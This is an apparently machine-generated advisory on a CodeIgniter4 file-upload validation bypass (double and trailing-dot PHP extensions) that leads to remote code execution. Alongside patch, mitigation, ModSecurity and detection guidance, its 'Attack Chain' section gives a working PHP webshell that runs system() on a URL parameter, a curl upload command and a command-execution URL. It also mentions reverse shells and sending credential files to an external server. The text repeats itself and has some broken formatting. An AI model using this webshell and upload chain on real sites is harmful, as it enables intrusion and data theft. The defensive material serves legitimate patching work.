CVE-2026-142155 — CWE-434
CodeIgniter4 before 4.7.5 has an upload validation bypass: the is_image and mime_in rules accept filenames whose trailing dots conceal a PHP extension, and these rules and ext_in accept a PHP extension before the final image extension. Attackers can upload such files to achieve remote code execution when applications keep client-supplied filenames in a web directory that executes PHP.
CodeIgniter4 before 4.7.5 has an upload validation bypass: the is_image and mime_in rules accept filenames whose trailing dots conceal a PHP extension, and these rules and ext_in accept a PHP extension before the final image extension. Attackers can upload such files to achieve remote code execution when applications keep client-supplied filenames in a web directory that executes PHP.
🎯 What is this vulnerability?
CVE‑2026‑142155 is a classic Unrestricted Upload of File with Dangerous Type (CWE‑434) that affects CodeIgniter 4 versions prior to 4.7.5.
The framework’s built‑in validation rules for file uploads – is_image, mime_in, and ext_in – are intended to restrict uploads to image files only. However, the implementation contains a logic flaw:
1. Trailing‑dot bypass – The is_image and mime_in rules treat a filename such as photo.php.jpg or photo..php.jpg as a valid image because the last extension (.jpg) is what the rule checks. The preceding .php is ignored, so the file is accepted.
2. Pre‑image extension acceptance – The ext_in rule accepts a PHP extension before the final image extension. Thus, shell.php.png passes validation.
When an application stores the uploaded file in a web‑accessible directory that is configured to execute PHP (e.g., /public/uploads/), an attacker can upload a PHP script disguised as an image. Once the file is stored, the attacker can execute arbitrary PHP code, achieving remote code execution (RCE).
The flaw is purely a validation logic error; no authentication or authorization checks are bypassed. The CVSS vector reflects this:
- AV:N – Network reachable
- AC:L – Low attack complexity (no special conditions)
- PR:N – No privileges required
- UI:N – No user interaction required
- S:U – Unchanged scope (the vulnerability does not alter the system’s privilege boundaries)
- C:H / I:H / A:H – Full confidentiality, integrity, and availability compromise.
⚡ Attack Chain
NOTE: The following example uses a typical/uploadendpoint that accepts afilefield. If your application uses a different URI or parameter name, the same logic applies; the PoC is illustrative.
1. Discovery & Reconnaissance
| Step | Technique | What to look for | |
|---|---|---|---|
| Identify CI4 | HTTP header sniffing | X-Powered-By: CodeIgniter or X-Generator: CodeIgniter | |
| Version detection | curl -I https://target.com | X-Powered-By: CodeIgniter 4.6.3 (or any < 4.7.5) | |
| Upload endpoint | Manual testing / fuzzing | POST to /upload, /api/upload, etc. | |
| File‑type validation | Submit a test image (test.png) | Observe 200 OK; then submit test.php.png | Observe 200 OK (vulnerable) |
2. Exploitation
1. Craft a malicious file – Create a PHP script that prints a secret (or opens a reverse shell).
<?php
// shell.php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>2. Rename with a double extension – shell.php.png (or shell.php..png).
3. Upload via HTTP POST – Using curl:
curl -X POST \
-F "[email protected]" \
-F "other_field=value" \
https://target.com/uploadIllustrative example – the actual endpoint may differ.
4. Verify upload – Access the file through the web server:
https://target.com/uploads/shell.php.png
If the server executes PHP in that directory, you’ll see the output of the script (e.g., phpinfo() or a shell prompt).
5. Execute arbitrary code –
https://target.com/uploads/shell.php.png?cmd=whoami
or use a reverse‑shell payload.
3. Post‑exploitation
shell.php.png) and rename it to a less obvious name (admin.php.png). www-data with write access to /var/www/html), the attacker can write files to system directories or modify configuration files. /etc/passwd, database credentials) and send them to an external server. 🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality | Full disclosure of all data accessible to the web server (database dumps, user files, config files). |
| Integrity | Arbitrary modification of application files, database records, or system configuration. |
| Availability | The attacker can delete or corrupt critical files, or launch DoS attacks via the webshell. |
| Scope | The vulnerability does not grant elevated privileges beyond the web server’s user; however, if the web server runs with high privileges, the impact is effectively *system‑wide*. |
In production environments where uploads are stored in a publicly accessible directory that executes PHP (common in many CI4 setups), the risk is critical. A single unauthenticated POST request can give the attacker full RCE.
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| CodeIgniter 4 < 4.7.5 | Upgrade to 4.7.5 or later. The patch rewrites the validation logic to reject filenames containing a PHP extension before the final image extension and to disallow trailing dots. |
Upgrade steps (example for Composer‑based projects):
composer require codeigniter4/framework:"^4.7.5"Verify the new version:
php -r "echo \CodeIgniter\CodeIgniter::VERSION; exit;"2. Workarounds (if patching is not immediately possible)
| Mitigation | Implementation |
|---|---|
| Rename uploads server‑side | In your upload controller, ignore the original filename and generate a random name (e.g., uniqid() + extension). |
| Store uploads outside the web root | Move the upload directory to /var/www/uploads and serve files via a proxy or a dedicated script that reads the file and outputs it with the correct MIME type. |
| Restrict PHP execution in upload directory | Configure the web server to *not* execute PHP in the upload folder. Example Apache: <Directory /var/www/html/uploads> php_admin_flag engine off </Directory>. |
| Add WAF/ModSecurity rule | Block filenames containing .php before the final image extension. |
| Validate MIME type server‑side | Use PHP’s finfo_file() to confirm the MIME type matches the expected image type, regardless of the filename. |
ModSecurity rule example
SecRule REQUEST_URI "@beginsWith /upload" \
"phase:2,chain,block,msg:'CVE-2026-142155: PHP extension in image upload',id:100001"
SecRule FILES_NAMES "@rx \.php\.[a-zA-Z0-9]{3,4}$" \
"t:none,log"This rule blocks any file whose name ends with .php.<ext> (e.g., .php.jpg, .php.png).
3. Detection
| Log Pattern | What to look for |
|---|---|
POST /upload with Content-Disposition: form-data; name="file"; filename="*.php.*" | Suspicious upload |
PHP Warning: file_uploads | PHP error indicating a problematic upload |
GET /uploads/*.php.* | Access to a file that should not be executable |
Sample Apache access log entry:
192.0.2.10 - - [02/Dec/2026:14:23:45 +0000] "POST /upload HTTP/1.1" 200 512 "-" "curl/7.68.0"Sample error log entry:
[error] [client 192.0.2.10] PHP Warning: file_uploads is disabled in /var/www/html/index.php on line 42Use log‑analysis tools (e.g., Splunk, ELK) to alert on the filename pattern.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query